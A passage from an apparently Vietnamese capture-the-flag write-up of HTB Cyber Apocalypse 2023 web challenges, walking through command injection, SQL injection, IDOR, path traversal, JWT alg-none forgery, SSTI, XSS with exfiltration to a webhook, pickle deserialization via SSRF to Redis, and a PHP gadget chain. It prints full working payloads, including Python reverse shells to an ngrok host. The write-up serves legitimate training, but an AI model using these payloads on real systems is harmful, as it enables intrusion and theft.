org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:174) 115 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:149) 116 | at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) 117 | at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) 118 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:174) 119 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:149) 120 | at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:166) 121 | at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90) 122 | at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:482) 123 | at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:115) 124 | at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93) 125 | at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74) 126 | at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:341) 127 | at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:390) 128 | at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63) 129 | at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:894) 130 | at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1741) 131 | at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52) 132 | at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) 133 | at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) 134 | at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) 135 | at java.base/java.lang.Thread.run(Thread.java:833) 136 | ``` 137 | 138 | ![](https://hackmd.io/_uploads/rkCubweF2.png) 139 | 140 | Admin cookie: 141 | ![](https://hackmd.io/_uploads/ry_3ZPxYn.png) 142 | 143 | 144 | Khoảng chờ giữa 2 lần con bot admin truy cập sẽ là 5 phút, vì con bot sau khi access sẽ bắt chờ 5 phút 145 | 146 | ![](https://hackmd.io/_uploads/B1Pygvgt2.png) 147 | 148 | Request đến `/admin?view=file:///flag.html` sau khi login để đọc flag 149 | -------------------------------------------------------------------------------- /HTB-Apocalypse 2023/web.md: -------------------------------------------------------------------------------- 1 | ## Trapped Source 2 | #### Very Easy 3 | View source HTML của trang ta sẽ thấy đoạn JS sau: 4 | ```html 5 | 13 | ``` 14 | 15 | có được `correctPin` là 8291, bấm đúng số đó vào cái máy ta được flag, f12 lên copy flag rồi submit 16 | 17 | ## Gunhead 18 | #### Very Easy 19 | Trên web có một chức năng giúp ta chạy các lệnh, một trong các lệnh đó là /ping \, đọc source phía server đầu tiên ta thấy có route đến `/api/ping` 20 | ```php 21 | $router->new('POST', '/api/ping', 'ReconController@ping'); 22 | ``` 23 | Tiếp tục tìm đến ReconController trong file `ReconController.php` thấy hàm này tiếp tục gọi đến class `ReconModel` và truyền IP lúc nãy vào constructor và gọi method `getOutput` của nó 24 | ```php 25 | $pingResult = new ReconModel($jsonBody['ip']); 26 | 27 | return $router->jsonify(['output' => $pingResult->getOutput()]); 28 | ``` 29 | Đi đến `ReconModel` trong file `ReconModel.php`, tại đây ta thấy bên trong constructor là đang gán tham số `$ip` vào thuộc tính `ip` của class, method `getOutput` thực hiện nhiệm vụ chạy lệnh `ping -c 3 `, nhận thấy \ là data mà ta kiểm soát, không có lớp lọc nào => OS Command Injection 30 | 31 | Thêm một dấu `;` để kết thúc lệnh trước, từ đây ta có thể chạy lệnh tùy ý 32 | ``` 33 | > /ping a;cat /*.txt 34 | ``` 35 | ![](https://i.imgur.com/clsznAm.png) 36 | 37 | ## Drobot 38 | #### Very Easy 39 | Chức năng đầu tiên đập vào mắt là login, vào file `routes.py` -- nơi chứa các routing của web, sẽ thấy nó đang gọi đến hàm `login` trong `database.py` 40 | ```python 41 | @api.route('/login', methods=['POST']) 42 | def apiLogin(): 43 | if not request.is_json: 44 | return response('Invalid JSON!'), 400 45 | 46 | data = request.get_json() 47 | username = data.get('username', '') 48 | password = data.get('password', '') 49 | 50 | if not username or not password: 51 | return response('All fields are required!'), 401 52 | 53 | user = login(username, password) # <===== HERE 54 | 55 | if user: 56 | session['auth'] = user 57 | return response('Success'), 200 58 | 59 | return response('Invalid credentials!'), 403 60 | ``` 61 | Vào `database.py`, tại hàm `login`, thấy username và password truyền vào được đưa trực tiếp vào câu query để đưa đến database, không có santinize, không có parameterize => SQL Injection, dựa vào các routes ta biết chỉ cần login vào là có flag 62 | 63 | ``` 64 | username: admin" or 1=1-- - 65 | password: a 66 | ``` 67 | 68 | Câu query lúc này sẽ thành: 69 | ``` 70 | SELECT password FROM users WHERE username = "admin" or 1=1-- -" AND password = "a" 71 | ``` 72 | 73 | Dấu `-- ` sẽ biến đoạn sau thành comment. Login vào ta có được flag 74 | ``` 75 | HTB{p4r4m3t3r1z4t10n_1s_1mp0rt4nt!!!} 76 | ``` 77 | 78 | ## Passman 79 | #### Easy 80 | Bài này dùng graphql để call tới API, xem kỹ tất cả type trong file `GraphqlHelper.js` thì gần như đều kiểm tra xem đã login chưa, tuy nhiên lại không kiểm tra xem user đã login là user gì, cụ thể là ở field `UpdatePassword`, do không kiểm tra user đang đăng nhập và user sắp thay đổi có giống nhau hay không nên ta có thể lợi dụng để update password của bất kì user nào sau khi login => Lỗi IDOR. 81 | 82 | Nhìn vào file `entrypoint.sh` sẽ thấy trong phrases của admin sẽ có flag, ta sẽ lợi dụng bug trên để update password của admin và vào đọc flag 83 | 84 | Đầu tiên là tạo một account rồi login vào, sau đó gửi request Graphql để update password: 85 | ```http! 86 | POST /graphql HTTP/1.1 87 | Host: 159.65.81.51:31318 88 | Content-Length: 183 89 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36 90 | Content-Type: application/json 91 | Accept: */* 92 | Origin: http://159.65.81.51:31318 93 | Referer: http://159.65.81.51:31318/register 94 | Accept-Encoding: gzip, deflate 95 | Accept-Language: en-US,en;q=0.9 96 | Connection: close 97 | Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhIiwiaXNfYWRtaW4iOjAsImlhdCI6MTY3OTU1Nzc4N30.yFyqY8lBZdG_x4cTqdf4EprgTQRQJfduMpp7w4qBdW8 98 | 99 | {"query":"mutation($username: String!, $password: String!) { UpdatePassword(username: $username, password: $password) { message } }","variables":{"username":"admin","password":"123"}} 100 | ``` 101 | 102 | response: 103 | ```http 104 | HTTP/1.1 200 OK 105 | X-Powered-By: Express 106 | Content-Type: application/json; charset=utf-8 107 | Content-Length: 72 108 | Date: Thu, 23 Mar 2023 07:50:18 GMT 109 | Connection: close 110 | 111 | {"data":{"UpdatePassword":{"message":"Password updated successfully!"}}} 112 | ``` 113 | 114 | Login vào với account `admin:123` 115 | 116 | `HTB{1d0r5_4r3_s1mpl3_4nd_1mp4ctful!!}` 117 | 118 | ## Orbital 119 | #### Easy 120 | Đầu tiên là lỗi SQL Injection tại chức năng login, ta có thể tìm thấy đoạn code xử lý tại file `database.py` 121 | ```python 122 | def login(username, password): 123 | # I don't think it's not possible to bypass login because I'm verifying the password later. 124 | user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True) 125 | 126 | if user: 127 | passwordCheck = passwordVerify(user['password'], password) 128 | 129 | if passwordCheck: 130 | token = createJWT(user['username']) 131 | return token 132 | else: 133 | return False 134 | ``` 135 | 136 | username được nối trực tiếp vào câu query => giống bài Drobots 137 | 138 | Tuy nhiên lần này password không được nối vào query mà được dùng để so sánh, ta có thể khiến câu select thứ nhất trả về null, rồi dùng cấu trúc UNION để nối kết quả 2 bảng lại với nhau, vì câu trước trả về NULL, câu sau thì do ta inject thêm vào nên ta sẽ kiểm soát được kết quả trả về của cả câu query 139 | 140 | ``` 141 | username: anhchangyeuem" UNION SELECT "admin","202cb962ac59075b964b07152d234b70 142 | password: 123 143 | ``` 144 | `202cb962ac59075b964b07152d234b70` là md5 của 123 vì lát nữa hàm `passwordVerify` sẽ check bằng cách lấy md5 của input password so với kết quả trả về 145 | 146 | Câu query thành: 147 | 148 | ```sql 149 | SELECT username, password FROM users WHERE username = "anhchangyeuem" UNION SELECT "admin","202cb962ac59075b964b07152d234b70" 150 | ``` 151 | 152 | Lúc này thì vì password sẽ trả về là 123, password nhập vào cũng là 123 nên ta sẽ pass qua login 153 | 154 | Đến phần sau ta để ý route `/export`: 155 | ``` 156 | def exportFile(): 157 | if not request.is_json: 158 | return response('Invalid JSON!'), 400 159 | 160 | data = request.get_json() 161 | communicationName = data.get('name', '') 162 | 163 | try: 164 | # Everyone is saying I should escape specific characters in the filename. I don't know why. 165 | return send_file(f'/communications/{communicationName}', as_attachment=True) 166 | except: 167 | return response('Unable to retrieve the communication'), 400 168 | 169 | ``` 170 | 171 | Ở đây send_file được sử dụng để trả một file từ server về, thêm việc `communicationName` là data mà ta kiểm soát nên ta có thể làm nó trả về một file tùy ý => Path traversal 172 | 173 | ```http! 174 | POST /api/export HTTP/1.1 175 | Host: 64.227.41.83:32154 176 | Content-Length: 36 177 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36 178 | Content-Type: application/json;charset=UTF-8 179 | Accept: */* 180 | Origin: http://64.227.41.83:32154 181 | Referer: http://64.227.41.83:32154/home 182 | Accept-Encoding: gzip, deflate 183 | Accept-Language: en-US,en;q=0.9 184 | Cookie: session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJbUZrYldsdUlpd2laWGh3SWpveE5qYzVOVGd3TWpFd2ZRLk5GdUkybjkta1hVUWJQdTF6NC1BTTRCcDQzRWRuSmZnaFE2aHdhUE8ySWsifQ.ZBwH0g.-e4yJNL7-HvreEhBxlEwAavZsRY 185 | Connection: close 186 | 187 | {"name":"../signal_sleuth_firmware"} 188 | ``` 189 | Trong file docker thì flag.txt được đổi tên thành "signal_sleuth_firmware" tại root `/` 190 | ``` 191 | HTB{T1m3_b4$3d_$ql1_4r3_fun!!!} 192 | ``` 193 | p/s: hình như intend bài này là timebased hay sao ấy :V 194 | 195 | ## Didactic Octo Paddles 196 | #### Medium 197 | Đến những bài này ta sẽ đi thẳng vào vấn đề luôn. 198 | 199 | Trong các middleware được sử dụng cho các route thì endpoint `/admin` sẽ được sử dụng middleware riêng là `AdminMiddleware`, ở đây chứa logic sử dụng JWT 200 | 201 | Đầu tiên JWT sẽ được decode ra thành object, rồi sau đó đưa vào if else để check thuật toán alg được sử dụng 202 | 203 | Để ý phần check `decoded.header.alg == 'none'`, ở đây code đang không muốn ta sử dụng thuật toán `none`, do nếu sử dụng thuật toán này thì khi verify sẽ luôn trả về đúng. Tuy nhiên header `alg` của JWT không chỉ chấp nhận giá trị `none` mà còn chấp nhận các giá trị như `NONE`, `None`, `NoNe`. Việc chỉ so với chuỗi `none` là chưa đủ, dẫn đến ta có thể chỉnh JWT, đổi alg thành `NONE` và sử `id` thành 1 204 | 205 | Vì sao lại là 1, là vì ở đây JWT sẽ sign giá trị `id` là dùng nó để xác định user, nhìn trong file `database.js` sẽ thấy giá trị `id` của `Users` được gán `autoIncrement: true` nghĩa là tự tăng dần, bên dưới tại `Database.create` sẽ tạo user `admin`. Vậy suy ra user đầu tiên là `admin` nên sẽ mang giá trị `id` là 1 206 | 207 | Tại đây có thể dùng JWT_tool: `python jwt_tool.py -X a eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNjc5NTYzODU4LCJleHAiOjE2Nzk1Njc0NTh9.RAhPvgjaaLxt7gwrsOsfclGX7RKWfzOZL8g2ZMlXA6Y` 208 | 209 | Craft JWT ta được: 210 | ``` 211 | eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwiaWF0IjoxNjc5NTYwOTYwLCJleHAiOjE2Nzk1NjQ1NjB9. 212 | ``` 213 | 214 | Giờ đến phần sau, ta để ý đoạn code trong route `/admin`: 215 | ```javascript 216 | const users = await db.Users.findAll(); 217 | const usernames = users.map((user) => user.username); 218 | 219 | res.render("admin", { 220 | users: jsrender.templates(`${usernames}`).render(), 221 | }); 222 | ``` 223 | Ta thấy code sẽ lấy tất cả user trong database rồi đưa vào `usernames`, sau đó truyền vào trực tiếp vào `jsrender.templates`. Đọc document về `jsrender.templates()`: 224 | 225 | ![](https://i.imgur.com/rFyRdby.png) 226 | 227 | Đại khái thì ta có thể truyền các Template Expressions vào đây => SSTI 228 | 229 | Tạo một user mới với tên là payload để đọc `/flag.txt`: 230 | ``` 231 | {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()")()}} 232 | ``` 233 | 234 | ![](https://i.imgur.com/bcvPkyf.png) 235 | 236 | ## SpyBug 237 | #### Medium 238 | Bài này đọc sơ qua source ta tóm lại được là ứng dụng ngoài đăng nhập chính có thể cho ta tạo các agents với `identifier` và `token`. Ở panel thì chỉ có admin mới vào được, bên trong panel thì nếu user login vào là admin thì sẽ nhả ra flag, đọc file `panel.pug` để ý thấy: 239 | ``` 240 | td= agent.identifier 241 | td !{agent.hostname} 242 | td !{agent.platform} 243 | td !{agent.arch} 244 | ``` 245 | Trong pug thì cú pháp `!{}` sẽ in ra data mà không escape HTMl => Khả năng là XSS. 246 | 247 | Các field như `hostname`, `platform` và `arch` ta có thể kiểm soát nhờ tạo agent và update thông tin bằng cách post vào endpoint `/agents/details/:identifier/:token` 248 | 249 | Tuy nhiên thì trang panel cũng có CSP: 250 | ```javascript 251 | res.setHeader("Content-Security-Policy", "script-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'none';"); 252 | ``` 253 | Không có CDN, không có unsafe-eval, không có gì cả, vậy tạm thời chưa lợi dụng được XSS 254 | 255 | Xem tiếp qua các chức năng thì ta thấy có chức năng upload file tại `/agents/upload/:identifier/:token` với điều kiện file upload lên phải là một file âm thanh có đuôi`.wav` và mimetype là `audio/wave`, ta có thể bypass bằng cách chèn magic byte của file âm thanh vào đầu nội dung upload: 256 | ``` 257 | RIFF????WAVE 258 | ... 259 | ``` 260 | 261 | Nhưng bypass xong thì làm gì nữa?? 262 | 263 | Nhớ lúc nãy ta bị vướng phải một cái CSP, vì `script-src 'self'` nên ta có thể chèn một tag script và trỏ `src` nó đến một file mà ta đã upload có nội dung là JavaScript, nhưng có một vấn đề là cái magic byte ta chèn khi nãy sẽ làm việc thực thi JS bị lỗi. Vấn đề này có thể được giải quyết bằng cách chèn `//` vào phía trước `RIFF????WAVE`, lý do là vì có vẻ như cái `multer` của nodejs nó chỉ check xem nếu tồn tại dãy bytes `RIFF????WAVE` trong nội dung là nó quy thành file audio luôn 264 | 265 | Lợi dụng up một file JS 266 | ```http 267 | POST /agents/upload/cb972a14-4831-4df2-a6d6-bd9d133631d3/9ad24240-d969-4820-9f5e-454bab98019d HTTP/1.1 268 | Host: 178.62.64.13:30716 269 | Cache-Control: max-age=0 270 | Upgrade-Insecure-Requests: 1 271 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36 272 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 273 | Accept-Encoding: gzip, deflate 274 | Accept-Language: en-US,en;q=0.9 275 | Content-Type: multipart/form-data;boundary=---------------------------735323031399963166993862150 276 | Cookie: connect.sid=s%3AyeBvXVfU9d7Zq3rvU43ZYk3sS0mrmD6M.BATGAIe1TKhjI331W8lSMBF7THhgyxP%2BLsnbiYdc4YM 277 | Connection: close 278 | Content-Length: 408 279 | 280 | -----------------------------735323031399963166993862150 281 | Content-Disposition: form-data; name="recording"; filename="hello.wav" 282 | Content-Type: audio/wave 283 | 284 | //RIFF????WAVE 285 | fetch("https://webhook.site/db89e937-1f11-4143-98ea-6c818714b78e", {method: "POST", mode:"no-cors", body: btoa(encodeURI(document.documentElement.innerHTML))}).then(a => b) 286 | -----------------------------735323031399963166993862150-- 287 | ``` 288 | 289 | Update agent: 290 | 291 | ```http 292 | POST /agents/details/cb972a14-4831-4df2-a6d6-bd9d133631d3/9ad24240-d969-4820-9f5e-454bab98019d HTTP/1.1 293 | Host: 178.62.64.13:30716 294 | Cache-Control: max-age=0 295 | Upgrade-Insecure-Requests: 1 296 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36 297 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 298 | Accept-Encoding: gzip, deflate 299 | Content-Type: application/x-www-form-urlencoded 300 | Accept-Language: en-US,en;q=0.9 301 | Cookie: connect.sid=s%3AyeBvXVfU9d7Zq3rvU43ZYk3sS0mrmD6M.BATGAIe1TKhjI331W8lSMBF7THhgyxP%2BLsnbiYdc4YM 302 | Connection: close 303 | Content-Length: 118 304 | 305 | hostname=&platform=hack&arch=aa 306 | ``` 307 | Ta nhận được request ở webhook 308 | ![](https://i.imgur.com/NSMGHuk.png) 309 | 310 | Decode ra ta được flag: 311 | ``` 312 | HTB{p01yg10t5_4nd_35p10n4g3} 313 | ``` 314 | 315 | ## TrapTrack 316 | #### Hard 317 | Ở bài này sau khi đọc source code, ta sẽ thấy thông tin login của admin ở file `challenge/application/config.py` 318 | ```python 319 | class Config(object): 320 | SECRET_KEY = generate(50) 321 | ADMIN_USERNAME = 'admin' 322 | ADMIN_PASSWORD = 'admin' 323 | SESSION_PERMANENT = False 324 | SESSION_TYPE = 'filesystem' 325 | SQLALCHEMY_DATABASE_URI = 'sqlite:////tmp/database.db' 326 | REDIS_HOST = '127.0.0.1' 327 | REDIS_PORT = 6379 328 | REDIS_JOBS = 'jobs' 329 | REDIS_QUEUE = 'jobqueue' 330 | REDIS_NUM_JOBS = 100 331 | ``` 332 | Login bằng credentials này ta vào được trang quản trị 333 | 334 | Đây là một ứng dụng sử dụng Redis làm database, ứng dụng sẽ cho ta add các url vào và check xem nó có truy cập được không. 335 | 336 | Mỗi khi ta add một traptracks, app sẽ query đến redis để `HSET` vào `jobs` để set một record với key là job_id và value là `data` được serialize bằng `pickle`. Sau đó app cũng `rpush` cái `job_id` vào `REDIS_QUEUE`: 337 | ```python 338 | def create_job_queue(trapName, trapURL): 339 | job_id = get_job_id() 340 | 341 | data = { 342 | 'job_id': int(job_id), 343 | 'trap_name': trapName, 344 | 'trap_url': trapURL, 345 | 'completed': 0, 346 | 'inprogress': 0, 347 | 'health': 0 348 | } 349 | 350 | current_app.redis.hset(env('REDIS_JOBS'), job_id, base64.b64encode(pickle.dumps(data))) 351 | 352 | current_app.redis.rpush(env('REDIS_QUEUE'), job_id) 353 | 354 | return data 355 | ``` 356 | 357 | Vì có dùng pickle để serialize thì hẳn phải gọi đến `pickle.loads` để deserialize ở một nơi nào đó. `pickle.loads` được gọi trong hàm `get_job_queue`: 358 | ```python 359 | def get_job_queue(job_id): 360 | data = current_app.redis.hget(env('REDIS_JOBS'), job_id) 361 | if data: 362 | return pickle.loads(base64.b64decode(data)) 363 | 364 | return None 365 | 366 | ``` 367 | 368 | Hàm `get_job_queue` thì được gọi ở route `/tracks//status` 369 | 370 | Một nơi khác cũng gọi đến `pickle.loads` là `get_work_item` 371 | ```python 372 | def get_work_item(): 373 | job_id = store.rpop(env('REDIS_QUEUE')) 374 | if not job_id: 375 | return False 376 | 377 | data = store.hget(env('REDIS_JOBS'), job_id) 378 | 379 | job = pickle.loads(base64.b64decode(data)) 380 | return job 381 | ``` 382 | 383 | `get_work_item` được gọi bởi `run_worker`, `run_worker` được chạy mỗi 10s 384 | 385 | tại cả 2 chỗ đều lấy đoạn data này ra để đưa vào `pickle.loads`: 386 | ```python 387 | data = { 388 | 'job_id': int(job_id), 389 | 'trap_name': trapName, 390 | 'trap_url': trapURL, 391 | 'completed': 0, 392 | 'inprogress': 0, 393 | 'health': 0 394 | } 395 | ``` 396 | 397 | Vấn đề ở đây là ta không kiểm soát được toàn bộ nó mà chỉ kiểm soát được một vài phần thôi. Tuy nhiên có 2 thứ ta có thể lợi dụng: 398 | - hàm `request` sẽ gửi request đến một url bất kì mà không kiểm tra (SSRF) 399 | - Redis là một text protocol, ta có thể lợi dụng các protocol như `dict` hay `gopher` để tương tác với nó 400 | 401 | Vậy ta có thể dùng SSRF để đưa payload đến Redis rồi để app deserialize với `pickle.loads` 402 | 403 | ```! 404 | dict://127.0.0.1:6379/HSET:jobs:130:"gASV7AAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjNFweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsb3MscHR5O3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjAudGNwLmFwLm5ncm9rLmlvIiwxMjEwNCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3B0eS5zcGF3bigiL2Jpbi9zaCIpJ5SFlFKULg==" 405 | ``` 406 | Sau khi `request` được chạy thì một record mới chứa payload và job_id là 130 sẽ xuất hiện trong redis. Tiếp theo là: 407 | 408 | ``` 409 | dict://127.0.0.1:6379/RPUSH:jobqueue:"130" 410 | ``` 411 | 412 | 413 | Lệnh trên sẽ đưa job_id 130 vào jobqueue, sau 10s thì `request` sẽ được chạy và thực thi lệnh trên, lúc đó thì job_id `130` sẽ nằm trên đỉnh, sau khi `rpop` ra thì nó sẽ dùng `HGET` tìm tới id `130` trong `jobs`. 414 | 415 | Sau khi truy cập vào endpoint `/api/tracks/130/status` thì payload sẽ được trigger và ta sẽ có được reverse shell. Ngoài ra thì vào lúc mà `get_work_item` chạy thì cũng sẽ gọi `pickle.loads` và ta cũng sẽ có được reverse shell 416 | 417 | ``` 418 | HTB{tr4p_qu3u3d_t0_rc3!} 419 | ``` 420 | 421 | ## UnEarthly Shop 422 | #### Hard 423 | Web chia làm 2 phần là frontend và backend, cùng server 424 | 425 | Sài thử web thì có một request sau: 426 | ```http 427 | POST /api/products HTTP/1.1 428 | Host: 178.62.9.10:30498 429 | Content-Length: 29 430 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36 431 | Content-Type: application/json 432 | Accept: */* 433 | Origin: http://178.62.9.10:30498 434 | Referer: http://178.62.9.10:30498/ 435 | Accept-Encoding: gzip, deflate 436 | Accept-Language: en-US,en;q=0.9 437 | Connection: close 438 | 439 | [{"$match":{"instock":true}}] 440 | ``` 441 | Ứng dụng sài mongo, vậy thay vì `$match` thì ta có thể sử dụng một aggregation operator khác để làm gì đó hay hay. 442 | 443 | https://www.mongodb.com/docs/v6.0/reference/operator/aggregation/lookup/ 444 | Đọc document sẽ tìm lấy `$lookup` giúp ta tìm kiếm data trong một collection khác 445 | 446 | ```http 447 | POST /api/products HTTP/1.1 448 | Host: 178.62.9.10:30498 449 | Content-Length: 87 450 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36 451 | Content-Type: application/json 452 | Accept: */* 453 | Origin: http://178.62.9.10:30498 454 | Referer: http://178.62.9.10:30498/ 455 | Accept-Encoding: gzip, deflate 456 | Accept-Language: en-US,en;q=0.9 457 | Connection: close 458 | 459 | [{"$lookup": 460 | { 461 | "from":"users", 462 | "localField":"_id", 463 | "foreignField":"_id", 464 | "as":"aaa" 465 | } 466 | }] 467 | ``` 468 | Ta sẽ nhận về được kết quả có chứa đoạn sau 469 | ``` 470 | "aaa":[{"_id":1,"username":"admin","password":"AmqKVZr1kEyeuJsF","access":"a:4:{s:9:\"Dashboard\";b:1;s:7:\"Product\";b:1;s:5:\"Order\";b:1;s:4:\"User\";b:1;}"}] 471 | ``` 472 | ``` 473 | admin:AmqKVZr1kEyeuJsF 474 | ``` 475 | Trùng hợp là cả users và products đều có _id và _id đều có số 1 nên cách này mới thành công 476 | 477 | Vào được admin, ta đọc code bên backend sẽ để ý thấy sink `unserialize`, thấy có điềm rồi. 478 | 479 | ```php 480 | $this->access = unserialize($_SESSION['access'] ?? ''); 481 | ``` 482 | 483 | Để ý ta có thể update password, tuy nhiên endpoint này ta có thể lợi dụng để update bất cứ trường nào chứ không riêng password vì đoạn JSON ta truyền vào được pass hết vào `update()`: 484 | ```php 485 | $this->database->update('users', $data['_id'], $data); 486 | ``` 487 | 488 | Vậy idea sẽ là update password với một đoạn PHP payload được serialized để RCE đọc flag, tuy nhiên là source code chính của web ta sẽ không tìm thấy gadget nào, ta sẽ bắt đầu tìm kiếm gadget ở các package mà web sử dụng. 489 | 490 | Qua tìm kiếm ta sẽ có được 2 gadget tiềm năng trong PHPGGC là `Guzzle/FW1` và `Monolog/RCE7`. Tuy nhiên khi thử thì `Guzzle/FW1` sẽ fail vì ta không có quyền ghi file, test `Monolog/RCE7` thì thấy nó hoạt động tốt, nhưng vấn đề là bây giờ bên `backend` và `frontend` đều có autoload riêng, làm sao để ta reach được gadget `monolog` bên frontend đây? 491 | 492 | Để ý hàm `spl_autoload_register`, đây là hàm được chạy tự động khi ta cố gắng load một class, phần code sau cho thấy hàm sẽ cố gắng include file với tên của class đang load nếu như nó tồn tại: 493 | ```php 494 | if (file_exists($filename)) { 495 | require $filename; 496 | } 497 | ``` 498 | Vậy nếu ta load một class là `www_frontend_vendor_autoload` thì file autoload.php của frontend sẽ được gọi và ta có thể load được class của `monolog`. 499 | 500 | Vấn đề tiếp theo là làm sao vừa include file autoload, vừa load class của monolog. Dựa theo ý tưởng là bài viết [này](https://www.ambionics.io/blog/vbulletin-unserializable-but-unreachable) thì ta có thể dùng một array, do khi include được file autoload thì lại không có class nào tên `www_frontend_vendor_autoload` cả nên nó sẽ trả về một `__PHP_Incomplete_Class`, nhưng mấu chốt là nó không bị crash, do đó tại index tiếp theo của array ta có thể load tiếp class từ `monolog` và RCE 501 | 502 | ```! 503 | a:2:{i:0;O:28:"www_frontend_vendor_autoload":0:{}i:1;O:37:"Monolog\Handler\FingersCrossedHandler":4:{s:16:"\u0000*\u0000passthruLevel";i:0;s:10:"\u0000*\u0000handler";r:3;s:9:"\u0000*\u0000buffer";a:1:{i:0;a:2:{i:0;s:209:"python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.tcp.ap.ngrok.io",12104));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'";s:5:"level";i:0;}}s:13:"*processors";a:2:{i:0;s:3:"pos";i:1;s:6:"system";}}} 504 | ``` 505 | 506 | Payload này mình craft tay, chỉ có monolog là gen từ phpggc :V để ý phần `r:3`, đoạn này ban đầu nó là `r:1` nhưng khi đưa vào array thì nó thành 3 để point vào object hiện tại là monolog 507 | 508 | Store payload kia trong file rồi viết một đoạn script gửi lên: 509 | ```python 510 | import requests 511 | 512 | url = "http://138.68.162.218:31396/admin/api/users/update" 513 | with open("./expl.txt") as f: 514 | r = requests.post(url, json={ 515 | "_id": 1, 516 | "username": "admin", 517 | "password": "aaa", 518 | "access": f.read() 519 | }, headers={"Cookie":"PHPSESSID=s84akbvbta03voi5mcee8aop1o"}) 520 | print(r.text) 521 | ``` 522 | 523 | Gửi xong ta logout ra và login lại để trigger đoạn `unserialize` 524 | 525 | ``` 526 | HTB{l00kup_4r7if4c75_4nd_4u70lo4d_g4dg37s} 527 | ``` 528 | --------------------------------------------------------------------------------